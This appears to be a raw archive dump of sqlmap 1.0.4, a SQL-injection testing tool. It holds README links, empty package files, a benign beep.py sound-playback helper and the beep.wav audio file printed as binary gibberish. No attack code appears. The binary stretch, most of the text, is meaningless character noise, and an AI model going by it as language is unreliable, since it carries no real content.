https://github.com/sqlmapproject/sqlmap/wiki * 常è§é—®é¢˜ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.0.4/extra/000077500000000000000000000000001270044205500141335ustar00rootroot00000000000000sqlmap-1.0.4/extra/__init__.py000066400000000000000000000002261270044205500162440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/beep/000077500000000000000000000000001270044205500150465ustar00rootroot00000000000000sqlmap-1.0.4/extra/beep/__init__.py000066400000000000000000000002261270044205500171570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/beep/beep.py000066400000000000000000000047721270044205500163450ustar00rootroot00000000000000#!/usr/bin/env python """ beep.py - Make a beep sound Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import subprocess import sys import wave BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") def beep(): try: if subprocess.mswindows: _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform == "darwin": _mac_beep() elif sys.platform == "linux2": _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() except: _speaker_beep() def _speaker_beep(): sys.stdout.write('\a') # doesn't work on modern Linux systems try: sys.stdout.flush() except IOError: pass def _mac_beep(): import Carbon.Snd Carbon.Snd.SysBeep(1) def _win_wav_play(filename): import winsound winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): for _ in ("aplay", "paplay", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return import ctypes PA_STREAM_PLAYBACK = 1 PA_SAMPLE_S16LE = 3 BUFFSIZE = 1024 class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") wave_file = wave.open(filename, "rb") pa_sample_spec = struct_pa_sample_spec() pa_sample_spec.rate = wave_file.getframerate() pa_sample_spec.channels = wave_file.getnchannels() pa_sample_spec.format = PA_SAMPLE_S16LE error = ctypes.c_int(0) pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) if not pa_stream: raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) while True: latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) if latency == -1: raise Exception("Getting latency failed") buf = wave_file.readframes(BUFFSIZE) if not buf: break if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): raise Exception("Could not play file") wave_file.close() if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): raise Exception("Could not simple drain") pa.pa_simple_free(pa_stream) if __name__ == "__main__": beep() sqlmap-1.0.4/extra/beep/beep.wav000066400000000000000000001332641270044205500165110ustar00rootroot00000000000000RIFF¬¶WAVEfmt D¬ˆXdataˆ¶‘± ¥b ,+›6BbLžWzR3FI;P0­%ÃÔõ›ùfîä«Øg͸٫ë©ÿµmÀ‡ËÖá{ìÃ÷B\ È}#—.|9DsOúVN›CÄ8.ÿ"W¢ Ä ÷ìxà‰ÕãÊâ¿[µ±©å¬v¸ÙÂÚÍÙŸäï+ú—(k>&î0ã;›F SXVóKKA=6£*à + oÿ²óÄèÞ(Ó}È㼚±Ö¨<¯Ëº¼ÅyÑÊÛÿæañÜü1º­(g3w?­I*UBU*I>É2`(=Èæü)ñoæœÛLÐÃÄrº¯é§‚².¾­È¸ÓBÞéõÒÿ‘ q/ ,Ÿ6ÛAþKX1R”EÚ;70/& Z9Èù§îÈãÄ×ÚÍ Â¸M«m©?¶ÀxËâÕ âhì’÷ & ’Ì#/.x9›C%P%XžNÉC9£-H"­¼ Úö;ë¾à¦Õ2Ë׿´X©²¬I¸¤Â½ÎDÙRäæîßùN˜8&€0‚<GîRvV.LA_5ö*ÞW ‹þÑóþè7ÞRÓŽÇݼϱí¨¯»ÆÑÁÛšæòdýÔý[)$4(?ŒIïT×T\HL>÷2(OÚïCü`ñÿå“Ú8ÐñÄǺ’®÷¨ï²Õ½…ȽÓNßóéÕôÿ‰ Kì â+6ˆA M2WRøEï;Ì/%|Yù¶íyãØýÍÂd·p«£©ÓµÀSÌÖÎá6ìj÷ßë |ˆ#.:¢DöOÏXODC#8o-‘"Þ‘ ÿ”öië á†ÕOÊ-¿ü´©c¬D¹IäÎÙ.äïËú5i½Æ&n1«<ÃFõRMV Kä@‹5F+«k Øþûóé:ÝÂÒ Ç;½Â±b¨1°H»ôÅÑÐ]܆çòý¦Kv.)4Ë>âIÍU/T¸Ht>ÿ2Ÿ'À +^ü‚ðåååÚQÐBÅô¹9®%©¸²½ÉPÔëÞâézôñÿP ïÜ „+¸6VBöLÖV#RFô:Ý/S%I²»ùîã„Ø-Í·ÁŠ·í«À©¶îÀÛË“Ö_áŒì0ø©º A€#/Õ9…D™OX\NCŠ8y-ò"B S­öÂëyàéÔ²Ê>¿Pµ?©¶¬¹ÃfÎÙåZï£úòZ™Ú&1˜$È.Ÿ9oD–P>WyNJC¦8Ë,"-k šöÕê_à3ÕàÊû¾&´k©°¬Ç¸KÃ]ψÙÖä(ï—úîéy‹&1C=jGLS5W}K`@÷4—*ný? %þpóŽèä݆ÒÇv¼Ž±0§È¯4¼OƧÑõÛPç¬ò½ýA\Óî)`4¸?²IVCTÍG>r2](fyîûæð æÚ÷Ï`Ä™ºÿ­‹¨´³¾"ɼӪßWê@õ÷ÿÎ `…!,"7˜AqMŠW'QËEh;Þ/‹$Ð77ùhí÷âÔ×iÍÂç¶1«Íª ¶lÀjÌ$×âÄì–÷]Üô#b.:ElP W¶N2C¸7 -,"qu ·ö"ëzàÕóÉܾW´½©ž¬S¹ÝÃçΈÙiä³ï:û›Í'Æ&î1ù 2V'Bº¸´ûÞïµåFÚ2ÐQÄ¡¹{­Ê§|³ï½øÉ~Ôzß$êõ¯¨ \?!ì+Ž7±B[MëWŠQiEn:/Ò$ê-Ìø˜í>ãÎ×ÌWÁ;·«Žªâ¶1Á[ÌáÖàáQí’ø *–^$^/R:ÃDaPÙVšMàBè7R-"‡Ö ø=öKë—ßÌÔÊ-¿f´F©·­;¹«Ã¦ÎÚeåÕïùúc8'À1¨<GÑSèUK@[5Ñ)÷<` ™þÖòþç5ÝbÒ¥Ç ¼À°³¨*°‰»¤ÆAÒ›ÜÆç4ò³ý ÓŽq)I4H@{JÏU‹TIHJ=ü1”'rôCûUð©åÆÚuÏëú¹®$¨’³á¾‰É{ÔßVêàõ’j .!ç,|7ŽBöLdXQéDõ:/O%8ˆqøøÜíèâöÖÍ<ÁÓ·jª0ª·ÉÀEÌ»Öåâ+ígøÎdœ$ö.L:\D/QóW¯MC68Ó,o!ëä XíõzêæßâÔ^Ê¿¡³í¨‹­¹…ÑÏÚ"å ïRûq2Ä&õ1­=ÜG±SV÷J¦?¼4*(^…Ýýóò>è^ÝÂѳƼì°Â¨µ°z¼ÐÆøÑfÜè?óýýЪg*Ô4û?hJ\UcS¹G`=G2¯'Á!xûŽð åÊÙkÏ"Äÿ¹ª­L©Ö³•¾\ÉÔ,à°ê²õJu Â!¤,X7PBÿMrWQCE ;ú.K$L²¿yøíìªâM×0Í'Á–¶®ªKª°¶ëÀ3ÍMקâöìNø®½?^$Ð.ö:KEQ©XÿMBE7±,¸!¦ >»õ©ê1à·ÔlÉx¾´ˆ¨Q­ºÄpÏÌÙånðŽû ,–ž'<2x=GÉSÅU.J @·4*Éž¿þ+óBè]ÜÒÁƈ¼½°d¨±¼ÌÆšÑDÝFèïòáýz)C÷)Ô4?×JOVqSíG¦=#2Ì&ö?_†û§ï åÚ‹ÏgĹj­r©œ³T¾þÉռ߫êLõÌ" ´²!F,£7CÜMWIQIE:/}$†ÓçOøHí»âª×UÌêÀ¿¶/«[ª ·­Á°ÌY×2âeíùm’j$È/±:=EŒPþWOMZB¤7Á, "7r „õõqê&ßfÔ Éžâ³V¨¶­Þ¹ÙÃcÏÚÊå6ðdûÐìh¢'ì1W=îGõTÜV,Jx@]4)ãõ÷ý$òÏçšÜ:ÒÐÆ–»+°×§ç°ß»ŽÇpÒ(Ýè·òxþk 4Ä))5£@ìJmVÅS¬Gª<º1'+?dùúÕïbå"ÚÆΑÃ[¹u­W©R´0¿ÊÌÔßëUöçæ tú!D-ÿ7ÁBÍM¬V.PÛDF:`/$®{øíñáßÖZÌ4Áä¶Æª†« ·xÁp̱×8ã íÅø4² Í$”/o:AE|QW‹M”B¿7ý+7!bŸ É2õê…ßtÔÊ+¾F³©­¹.Ä,ÐOÚ©åîïxû¿²JR'ì1!>%H+T®VJ’?&4Î)3Xdý™òÊçÝ­Ñ9Æû°§á°å¼1ÇcÒÍÜèŒó~þ µ¿*15~@ŠJ»VZSG1=©1'ˆ°±ûð*å8Ù1φÃâ¹ÿ¬©•´Á¾÷Ɍԋàëöº¨ 8T"Ý,ø7WBuN¬W@PE:/¶# )vPøì*âמÌ;Á¶ªv«Õ¶CÁFÍé×çâríûøHôÙ†$´/c;ÈEHQ WMºA7/,k!Þ õÿ?õVêµßóÓÉ%¾w³C© ®}ºxÄáÏÚÃåÿð×ûkU3(ž2Ð=H£SoUóI‘?w4ï) ;\ ýÓòcçÜÑkƼ3°P¨O±’¼ÇaÒÔÝè`ó:þ ñt’*þ4G@UKûV«SAGj=-1‹&uîêÕúïîäqÙpÏgÃ七¬=¨j´µ¾ÞÊ8ÕXààêñõ~| "°,€8]CZNX™PD”9Ï.ü#@eú÷ÐìnâöָˑÀe¶dªE«Á·ôÁ/ͧ׹â*î^ù×ù`G%0,;ELQ›VµL$B 7”,0!¿ 0nõvê·ÞÔ'Év¾n³ö¨‘®ÿ¹|ÄtÏåÚ+æ¨ðÀû5ä Î'“2n=eH‰T_U0JÍ?y4þ(.n’Éýòñ@ç\Ü¢ÑÅÆ@»Û¯¸¨±I¼ÇÓqÝŽèóŽþÜ ˜c4*/5ASKZVÇSlGt<21Ç&£&#úïåäîÙœÎÃù¸+­|¨œ´“¿lÊ3Õóß#ëÁöMH è"¨-]8@CðM¥XPDD:Å.q$cº ¢:ø®ìsáxÖ̵À—¶©«Ü·‹Á/ÍMئãùí8ù‘›IY%Õ/û:ÓE^R˜W¾LtBÕ6‘+Î ý@ )zôâéîÞFÔDÉœ½½²Ÿ¨h®Ë¹$Å_ÐÚÚóåjð7ü6Ë“'Ð2>¥HuT’UJØ>ñ3?)b‚¬ýòzçÜïÐáÅ_»°Ê¨©±;½£ÇÀÒ7Ýáè ôÉþž YŒ5+¢5Ã@AKÙUœRïF<|1Ù&äNO®ú»ïBäÙœÎVÃ2¹Î¬º©¹´X¿,ÊoÕøà}ë€öS äŒ"s-$8#CëN˜W%P‡D/:".~#ƒá ó”÷*ìÕáˆÖ]ÌKÀŵú©«·ÄÁ ÎØãµí5ùyŽ .%/â;öERgXüL¿Ah6ô+Ü ^µ „ÿßôèé[ßàӔȽ½³'¨O®ÎºîÄ6ÐÚÖåKñPüáðpx(3G>ZH’T"UZIX?ç3µ)æÔïGýXòlçƒÛDÑæÅÓ»º¯‚¨²¿¼£ÇfÒ*ÞéÉó¡þU  Ã*¤5Q@ÎKºV¦R%GÖPÄCY9K.¯#¾; Œ÷nì â%ÖOË2Àîµlª’«`¸:³Íê×wãÄîªùVA÷%o0™;ïExQWUL®A·6,j S« ¹ÿõŸéKÞ©ÓÂÈ ¾å²¨¯®˜º¯Ä4Ð|Û‹æ ñ)ü©Ç/t(³2->ÉHÈU'VQI¶?s3»(ª#ýMñç¾ÛÑßÅߺ+¯ü§Ó±¢¼{È%ÓÞÌè•óNÿ9 þÐŽ*6_AÖKàVùRÏFÚ;ò0=&g\•-úï™äIÙíÍɸ¥¬Å©Dµë¿ÛÊ’Õcàôë÷¶² AÛ".Ð8„C²NÅVGO!Dh9¥.–#åG T®÷ªìáÖƒËtÀþµ0ª<¬à·>ÂCÍØänî‘ùþ—ÔŸ%]0<;FSRÒV˜LßA×6.+i ˜Î ýÿKôWé­Þ±Ó,ÉT½i²®¨w®KºÅîÐ#Ûræ»ðVü‘|(Ä2ú>êHøTV¢IÄ>U3)Ìim¬ü·ñç+ÜæÐTÅ»‡¯+§ø±—½È#Ó¤Ýðènô5ÿû Ôžˆ+ 68AwK9WjRZFT<é0µ&ªìÕkúûî®ã¥Ø7ÎèÂÒ¸x«©rµ€¿ÑÊÖháÐëüöd; 3#È-š8ÀCºO£WPOpDL9¨-# eÊöüë<áX֪˹¿,µª-¬ž·ËÂ=ΚØËã-îéùΘa%‚0D<€F,RÄV¡Lë@<6`+£ µ .ÿlô‘éÜÞÓ1Èb½”²ö¨ü®?»KÅ©ÐìÚ¦æÈñ§üY:,)_3¦>ãH\TÔTIÌ>§3).tŒØüýñ‹æ2ÛÌÐ’ÅV»8¯u¨@²O½ÜÇ6Ó°Þ\é:ôøþò ¾E W+Ô5AILjWÆR€F’PI-UÄTVI ?’34(_ Ëëüñzæ†ÛãÐâÅsºþ®Ó¨²½}ȽÓPÞ<é1ôn ’ J+ª6ÉA-LÜVÜRàE¡;m0ð%éœ$ØùŠîRäeØÍQÂB¸,¬h©¶ÀuËÅÕ á’ìr÷' ËŸ#^.<9òCõNXáN®C97.Õ"iö Ôk÷Öë™à»Õ ËÀ›µt¨¬ž¸\ÂÎ(ÙmäÈîúb~ /&—0Ø;¡FKS/WÖK¸Aê5Ë*ý4p Rÿ ó!éÞÓUÈà¼Ê±n¨I¯“º Æѳ۶æBñýÒ•c(°3G?{I$UïT.I>(3p(—§ÕUüGñºæŸÛÐ Å º¯ë¨¥²ñ½~È„Ó Þ¿éÚô’ÿo !s ù+y6A(L6VÎQ%F¾;¹0ø%ƒ€æùåîcã>ØÈÍ‘Â[¸¬9ª µÀËCÖÐá=ìY÷Ó> ©c#4.û8íCÝO W-OÔCH9R-¯"¹ &°öfëáÂÕ‰Ëq¿ð´[©ã«I¸§ÂÕÎßØJä€îúKZÕú%r0Å<©F SXLö@”5,+ ”Ï Áþ ô&é‚Þӱǽ$²ç§R¯‰»ÈÅùÐmÛ¯æ#òý²·JQ)Î3?,IKUgT’H†>3è(üRñàåáÚ^Ð)Å÷º ®Î¨æ²„½mÈëÓ%߯é¶ôAÿÕ µ ´+A6¦A&M÷VÐQvF´;Ñ/T%J·£ùîãyØúÍòÁp·å«\ªJµŒÀÌqÖáìŒ÷à‘ o"#G.ï9}D¥OZWFOøB8y-è"æa D¼ö¦ë3áLÕÊk¿µÕ©e¬5¹þ‰άØ^äŽïzú ÞÒ&/1t<©F^R¥VgKñ@ã5Q+…“Ñ ùþFôÈèvÝçÒåÇZ½Þ±Ö§¨¯P»‡ÅÑYÜJççñåü•<)‚3ý>«IŒVUU†Hæ>’2ó'ÜRU?ü}ðHæçÚÄÐîÄ'º2®:¨¿²k½]ÉäÓáÞ‰éyô ä U+ÿ6BÇL:WRýE;+0m%œ}Ãgù3îÔãgØÍÿÁ¾·ß«Mª/¶¨À¶ËQÖ@áÉìí÷~„ Â#Ò.¦9DD˜OÂV]NgC8ä-³"x ˆãöÕë2àaդʽ¿ µ´©­®¸ ÃÎnÙÍä<ï]úËw¡j&+1<ùF$SqV²K"Aó5_*›Ì )ÿkó—èÓÝõÒFÈŒ¼‚±{¨d¯ »Æ®ÑÜ$çÐñÙý0hÈ)R4»?»IµU^U Hâ=˜2'(ïOü½ð‚æ¼Ú¹ÏÄcºo®­§®³¾ɳӾÞfê2õÉ ž?!N,á6ùARLTXQŸEn;H0C%‚=÷­ùîãâØ×iÍÂø·ŸªNªB¶IÀ©ËõÖ0â¡ìÄ÷7öÞ#„.{9ˆD±P†WlN²Cb8á,G"T³ ‰ôõ5ëhà—ÕÇÊí¾L´‰©ï¬q¸©ÃÏiÙ”äþîÊúÏžb/&b1=KGøRnV«K&@h5™*Ñæ" qþ’óÒèüÝHÒ_Ç¢¼®±Ä¨ô¯ú»$ÆnÑ¿Ûç˜òpý+ÿÖ)14p?µIU%TCH>ß2D(T®¸ü$ñ°åhÚпĔºC®µ¨7³¾»ÈÔ‰ß!êõ»ÿÖ ‹!!,¤6ÛA:MÆWÓQÆE´;{/ô$ÛUNù}íPã××à͘Áa·±ª{©0¶JÀ¥Ì­Öâ[ìº÷®º#F.W:½DVPX¨N Cã7I-R"¶4 ÚTöCëÉàKÕÿÉ¿™´H©è¬g¹‡ÃÑÎ5ÙläÝïîúwŒ'¨1Ó< GÿRØUòJ¢@b5 +`4Y ®þªóè Ý€Òuǽ¶°­¨T°‰» ƼÑÜÜ“çmò$ýmn•)ù3v?´J§UTŽH>2Œ'zèç]ûJð¶å©Ú4ÐFÄ‘¹)®©Õ²^¾»ÉQÔFßçé)õ¿K OÜ ,7€BM7WóQ EÛ:™/+%½^ùÁíã†×ÅÌ‚Áy·Z« ª·ÌÀP̃Öâ\íDøïÛ ›‡$/':™DùOóWàMþB.8w-æ!¯ öëÁßûÔCÊN¿š´ï§ú¬Z¹1ÃØÎÚ0åïÉú;ZÎ'X1³ êY!¾,P7@B M€VóPaEê:ò/%=¸²ùî‰âv×øÌÈÁ„·D«Õª|¶×ÀÜËןâí*ø›!t1$/É9¿DÈPŒW6N"C]8†,Þ!ðB YÊõ§ê+àýԳʙ¾´Ï¨Í¬¹’Ùϵ٠åuï§ûö<‘Ù&ü1¢=eGøS‘W^J@Ø4L*a.•+þóšè(ÝÍÑîÆT¼±ÿ§±¼¼Æ§Ñ^Ü5èöòÚýŠsÛ?*ˆ4ò?ßI›VÑS¿G±=n2'®t+ÙûfðåÚ–Ï\Ä#º ­)©Ì³@¾LÉÁÔñß|êƒõ¼ Û’!o,!7oBN*WøP±EÔ:þ.Œ$yïÈ@øTí¯â²×!ÍÁŸ¶8«ëª+¶aÁÕÌ7×^âÏìpøª_:ñ#!/É:7EPGWNN0B½7°," ƒåõåêWàvԮɦ¾<´S©M­ú¹ÏÃRÏ{Ù=å[ðGûìÛ·¬'ð1N=dG=S+V~J5@ 5ˆ* Óø8þlóòç£Ü$Ò Ç¡¼Ú°Ã§ª°þ»iÆÓÑ;ÝèÃò£ýtdÍ *O4Í?“J6WuTÀG>²1-' ‡‡_û±ïåÚÐÿÃn¹=­™¨¥³4¾BÊžÔ¾ßGêYõò× t!,ë7ÅB¿MtW=Q&E6:c/™$Ø•þ“ølíãŽ×DÌ;Áæ¶-«éª·dÁÌ×âí¼øEWÒ«$/‚:ÿDPžVyM¥B¸7!-Ì!O£ ÇöEê_ß¡ÔÁÉ¿Y³@©Ò­€¹¾Ã|ÏžÚkå/ðûúÓ5g'Á17=aHÔSýU×JD@Y4¦)Ã3 Ÿý}òåçäÜ]ҮƗ»¨°e¨?°F¼`Ç=ÒùÜÍçÇò˜þ +œã)15~@JaVŒT(G=Â1c'GƒDûìï¼åÓÙ÷εî¹n­¨¯´³¾ÊfÔ¯ß)ë öÄ  g)"-È7£BZM—X†PðD:‰/W$¾k/Ûø;í âדÌ^Á ·ä© «·Á„ÌÌ×ûâoí‘ø´·$G/R:[E›QTWƒMöBx7,v!‹â µõwêßÚÔÞÉ*¾`³0©º­?¹ÄÅÏBÚWåÔï§û˜n-ü&C2Ý=H¹SV´Ja?™4Ë) N«ý½òèÝuÑŽÆ߻˰¬¨ñ°µ¼úÆ3Ò“Ü]ègó:þøÌñ§*ú4=@†J˜UcSsG6=2p'uíãOûLðÖäœÙ7ÏíÃйT­©!´½¾•ÉÜÔaààêéõxà Oë!ä,y7¨B,NX×PEÒ:§.'$‰~1ø·ìâ×͸À™¶Ú©Hªú¶+ÁuÍv×ßâ1í[ùÔør†$Ê/R;gESQýWM÷A87^,¯!gÝ HVõ­ê•ßãÓJÉP¾­³ü¨ˆ®ºhÄ’ÏÚÿå¹ð°ûR>‰(M2Ç= GnT“UJÐ?¯4Ý)ô–p÷ýÁòFçLܼѡÆ@¼¾¯º¨<±D¼èƔҬÝYèBóæý[ ÀGV*Î4L@–K#V\SÂG6=,1Ä&© …ú~ïëäÛÙeÏcÃϸU­^©Ä³,¿“ÊÕà©êö… «!î,j8>CùM~WùP?D :Ï.\$DÚ œ2øûì®â¨ÖúË´À®¶•ªÊªå·ˆÁ-Í?×öâîù¯´fn%É/ ;IEøP¿WåLKBP7µ,ù ó> V¹õ*êìÞ:ÔeÉš¾•³…§û­ºįÏÝÚôåsð‹û1–×'2=LHþT V J0@4I)Q©ËŸýõñœçaÜÒyÆi»Þ¯i¨±%¼ÖÇ–ÒgÝ5èýò¾þ› h3ø)5Â@?K9VˆSgGn<’1Ð&æ4Âú¤ï0åßÙ{Îqùj­|©—´\¿<ÊûÔÉßhëzö% ±C"}-)8CïM±VP¡D:3/2$uå èQø‚ìšáÇÖÌ.Áìµsª‡«_·}Á5ÍfØ;ãøíÏøÅ™ )%ž/à:0FœQ_WEMcB¼6¹+!† Øÿ¼ô ê,ßtÔ(ɽ@³m¨›­4ºþÄ0ФںåbðrüÅ X³'Ó2r>%HæTéVlIJ?4ˆ)TÁiý0òÛç:Ü ÑÆ »° ¨²Ã¼£Ç\ÒHÝéÉó¡þ] <Æø*h5¨@ÏJ(WêRGØ<«1¶&å¥_ûˆïDäFÙÆÎÃP¹9¬©©¥´¿+Ê”ÕÂàCëVöÖ¤ e"7-õ7@COAWPòDì94.¾#«&îd÷•ìÕáôÖ>ÌKÀɵª‹« ·8¡ÍØ*ãœíSùp2Á$ü/œ;ýEgQ%WNMmAê6è+J!Až Æÿ õ%ê{ßžÓáÈß½]³î¨:®ÀºžÄ ÐEÚæ'ñü¸§“(µ2$>&HT–U Ip?94»)¹!uý’òçÎÛfÑ+Æí»Ð¯Õ§¦±³¼EǤÒÞÅèœóaþ^ +¤Ê*&5˜@KÊWSG7=Ø0d&;¾µ‚úäî³äDÙ;Ïí¸Q¬©€´ ¿ËdÕ’à ëôöÉ e*" -ø8qC­N´WÈOóC9w.ô#¤& h›÷ÍìîáÖŠËkÀ¶ª[¬é·*ÂiÍÆײãîuù'=ß%#0…;†EðQÂV„LàAù6,G ®¼ õtéÞØÓðÈP¾f²þ¨¯®Aº“ÄWÐoÛ3æñÃûú6(‡2>0ITmUúIw?v3ç(ìCYÇü±ñçÜ’ÑÆÅۺïd¨;± ½AÈüÒÏÝ‘è©óhÿÕ ùe½* 6>AnKòV©SQFU<ó0™&u4ºwúïõäèØ:Î×Âø¸q¬–¨§µ_¿ïÊÕžàïëàö‰s 4#¸-²8GClNµX|OED¬9Ë.i#’ mødì4áTֶ˧À¶A©Ú«Ù·ÞÁ\Í¥ØÁã@îXùÝÞzŠ% 0.;,FRW L9BŠ6Y+¡ Ä Üÿ>ô·é±Þ ÔðÈk½u²ê¨“®ºuÅÐÛæ©ð…ü`=øÊ'%3¤>îHnTyUÅIš>È3)64pëüæñNç;ܦлŻ篲¨ñ±i½ÚÇïÒoÝ3é:ôÿÌ ‘Øm+Î5AcKV—R¦FiA`6—+ß Š ƒÿ}ôðé¨Þ#ÓkÈ›½·²¾¨r¯ÉºDÅOÐêÚÍæñwü" kÛ( 3>wH2UäTEI?è3û(%Ë¡/ýãñræƒÛëÐØÅn»Î®ã¨#²ÿ¼ÈÇgÓ|Þ#éô²þ> ‡ +¡5 A{LŠVRþFR<]0ù%ÚZ/±ù³îäÙΈÂ¸Ž¬Ç©¬´ÀbËÝÕíàrëööOë äx"Ç-G9÷CäN£WþOwC89.#rú Ú[÷7ìØáËÕ0Ëè¿Þµà©¡«µ¸SÂýÍØÙãêîëù|AF&Š0ç;üEòQnWîK—Ar6ð+ 5e –ÿÝôXéÞ~Ó…È罈²>§¯ÀºäÄ{ÐÁÛ®æOñJüûc¢(ì2^>.I¼UXUQIa?73}(…ÝüÃü"ñ×æŒÛQÑÅ©ºî®‘¨ö±ð¼¸ÈSÓCÞíè‰ôºÿH VÐu+Ÿ6pA%L»VNR FÕ;ž0/&ælŒÞùîî@äOػ͠ÂF¸ž¬£ª˜µÀ)ËœÕTápì1÷Á ý›#.69CRO7WOÚCR9:.¥"À "y÷§ëÑàøÕ<ËbÀµì©C¬0¸GÂÎ0Ù äÄî™ù¦gÖù%c0Ä;÷F{RW[LAÓ5ÿ*6 `© ÿîó@éYÞ±Ó6ÈÚ¼R²¨–®ùºáÅìÐ}Û}æCñCýÙ (¨3>?ïHÀU+V€HŽ>$3Ë(°î¡ü`ñçSÛKÐ2Åòº¯@¨ü²t½†ÈÓ0ÞÌé›ôgÿ1 ° ®+N6VAÊK–WûQNFú;ì0Ê%"Ò•Aú¬îoãØðÍÑÂh¸q«0ª„µÃ¿ËoÖˆáì ÷¨„ a=#÷-Ð8DíOHW3O5D9o-ê"åU ŽöÎëá0Ö]Ë}¿ï´ªA¬à·ÃdÎØØóãlî5ú7Ì%Ù0o<ÀF>RåVOL®@6%+x lÄ ÿ7ô`éŸÞÊÒȽz²¨<¯s»~ÅÝÐÛöæúñÚükyJ)†3í>öHÈTïTÄH«>p30(Æc8Ñüñüå.ÛnДŗºu®¨¦²O½rÈÔÁÞ¦éWôPÿó ܆ ƒ+6B‚L7X…R`F®;Ï/·%ONGùGî»ã®ØôÍÁÁü·s«œ©ŽµÀËË>ÖUáãëÖ÷†y $#u.Ð9'D§O´WÑN3C½8«-+#ÃV žËöìáBպʨ¿/µ ª%­«¸Ã*΢؈ä]ïCúñÒ¬&í0X J/UÍT"I¦>•2)(„{ïûåðPæEÛÈÐÛÄ#ºÚ®‰¨-²Ú½ÉÀÓ§ÞPé•ô+« ¾6 “+ç6þANLoW´REŠ;$0Ð%¡Uô¦ùRî(äØvÍÿÁ>¸|«>©¶ÀÍËÔÕ‰áµì·÷KJ ý$g.9ìC€O°XwN”CÎ8."B¹ «.÷ë[à–ÕÙÊ´¨º¬˜¸²Â0΂قäïú·¸A^&Î0 <ÿF^S˜VÂKsA£5–*ËþA ÿkóðèÜÝbÓȪ¼ˆ±Ã¨k¯ÜºPÆEÑôÛÌæ&òý3Œ6)W4[?ÀI+U…TCH>Õ2Y(6¨¼üñæŸÚÛÏçÄ`ºø®©³ý½ÚÈ}ÓñÞOêïôßÿ| ÄI!ö+Ô6A›LW©QáEŸ;i0ý$ÛW@Éùâí ã؀̀Â}·t«#ªöµÀÀË×Òá”ìe÷^$´°#M.]9ßD P'XÛN¯CA8 -‰"vû 93ö[ëªàÀÕ¸Êƾõ´ƒ¨ò«å¸ÃÚÎ1Ù]äðîûbžù@&q1û<ÞF;S;W$K…@ƒ5Ú* ·4 ¿þ«ó*éÂÝZÒ”Çã¼Á±š¨b°~»$Æ ÑËÛ¢çXòDýîÛOœ)ø3K?YIàU%TyH1>3(YþÐküÿð¥åµÚÐ Å—ºé­%©³¾½¤È>ÔIßîéàôÿ Oé æ+t6öA_MØVºQ9Fq;/.% VØøîíHãNØ´Í­Á>·Î«Gª•µÑÀ7Ì¢ÖÁá6ìâ÷Å ¥N#œ.!:µDÈOµWóN»B`8B-¼"  „öuëüàõÔ`Ê"¿µF©ˆ¬}¹!ÃÈÎÕضä»ï´úKH'J1Ä<±FéRõV KÎ@µ5x*ö—m ÿoó#ènÝÒßǼ¼ü°4§°`»úÅ÷Ñv܇çò"ý”Ê2r)¬3ä?.J]VTŸH÷=2ç'‡J¦sûðèåçÚ1Ðĺÿ­Ê¨ø²u¾ÉÔ߶éuõs' ­ G,{7'BM WlQ=E ;Í/k%¿ù%îfãw×óÌÑÁx·ä«6«m¶ÑÀøËgÖ;â1íøÈ” Ön$Ë. :@DDP#W0NC}8i-Å!7 aœöÐêà+Õnʘ¿´|©­ú¸ÃúÎúÙØä‘ïdúƒ=™Ð«<ÁGLSªVlKÝ@ç4E*[ Ì .þó{è…ÝëÒMǼh±é§“¯Á»¾Æ¬ÑUÜ=ç+ò þa¡ïd)…4@ÀIŠVQU¢GÉ=R2(ܤÜûŠðOæjÚˆÏZÄ7º#®‹¨õ³$¾hÉÐÓߘêmõ- Ò™!d,57BÐLßW Q‘E$;&0â$`ûÒmùÓíšâ¼×Í‚·±ªØªT¶ŠÀãËC×Sâãìé÷~b%$¸.®9ÞDÙP,WMNvC8§,"‡ <·õ ë.ànÕyʲ¾´¢©­³¸úÃ$Ï´Ù£äÊïyûà Sî&2-=„G$SEV¯J@%5r*Œßö<þ]óªèÝìÑ?Çb¼±©°ú»„ÆhÑ…Ü6è¤òÀý;‡úá)|4?JV&TóGá=ž2Q'ý—iü.ð<åTڱϴÄϹ„­g¨–³¾\ÉÝÔ“ßmê'õ%Ñ œ`!>,ð6ÓBwMXQ®E»:/á$‰Lttøííââ×ÍðÀ0·ªª?ªr¶_Á–Ì ×!â·ì´øIPåä#D/ª:ßDP˜WÖMyBã7é,U"ì ÙõõDë(à{ÔâÉë¾F´¡©÷­n¹×ÃîÎ{Ùdå$ðûº¥ûu'¼1!=G²SÖUÎJR@]5^*™% Šþ\óÐç÷Ü?ÒVÇ´¼‚°Ë¨t°Â»BÆÒÝËçòYý¿2ŸÍ)#4Ï?âJÁUTLHÓ=·1j'9Âûð‚åzÚ÷Ï÷Ãh¹ö­Ç¨$³£¾ñÉÔ}ßê}õò| 